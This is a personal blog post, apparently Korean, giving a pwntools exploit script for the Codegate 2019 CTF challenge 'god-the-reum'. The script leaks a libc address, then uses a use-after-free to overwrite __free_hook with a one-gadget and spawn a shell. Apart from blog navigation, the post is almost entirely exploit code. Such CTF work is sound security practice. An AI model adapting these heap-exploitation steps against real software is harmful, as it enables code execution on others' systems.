[Codegate 2019] got-the-reum

2019. 2. 5. 10:06·PWN/CTF
728x90

펑펑펑펑펑


from pwn import *

s = process("./god-the-reum")
libc = ELF('./libc')
elf = ELF("./god-the-reum")


def create(number):
s.recvuntil(" : ")
s.sendline("1")
s.recvuntil("how much initial eth? : ")
s.sendline(str(number))


def deposit(index, deposit):
s.recvuntil(" : ")
s.sendline("2")
s.recvuntil("input wallet no : ")
s.sendline(str(index))
s.recvuntil("how much deposit? : ")
s.sendline(str(deposit))

def withdraw(index, withdraw):
s.recvuntil(" : ")
s.sendline("3")
s.recvuntil("input wallet no : ")
s.sendline(str(index))
s.recvuntil("how much you wanna withdraw? : ")
s.sendline(str(withdraw))


def show():
s.recvuntil(" : ")
s.sendline("4")

def quit():
s.recvuntil(" : ")
s.sendline("5")


def dev(index, content):
s.recvuntil(" : ")
s.sendline("6")
s.recvuntil("input wallet no : ")
s.sendline(str(index))
s.recvuntil("new eth : ")
s.sendline(content)


create(0x30)
create(0x1000)
create(0x1000)
withdraw(1,0x1000)

show()
s.recvuntil("ballance ")
s.recvuntil("ballance ")
leak = int(s.recv(15))
print "leak : " + hex(leak)
libc_base = leak - 0x3ebca0
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x10a38c
print "one_shot : " + hex(one_shot)
free_hook = libc_base + libc.symbols['__free_hook']
print "free_hook : " + hex(free_hook)


withdraw(0,0x30)

dev(0,p64(free_hook))

create(0x30)
create(0x30)

dev(4,p64(one_shot))

withdraw(0,48)

s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[Asis 2015] math sequence  (0) 2019.02.15
[Asis 2016] b00ks  (0) 2019.02.06
[codegate 2018] marimo  (0) 2019.01.24
[mma_2016] greeting  (0) 2019.01.18
[PCTF 2015] prodmanager  (0) 2019.01.05
'PWN/CTF' 카테고리의 다른 글
  • [Asis 2015] math sequence
  • [Asis 2016] b00ks
  • [codegate 2018] marimo
  • [mma_2016] greeting
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[Codegate 2019] got-the-reum
상단으로

티스토리툴바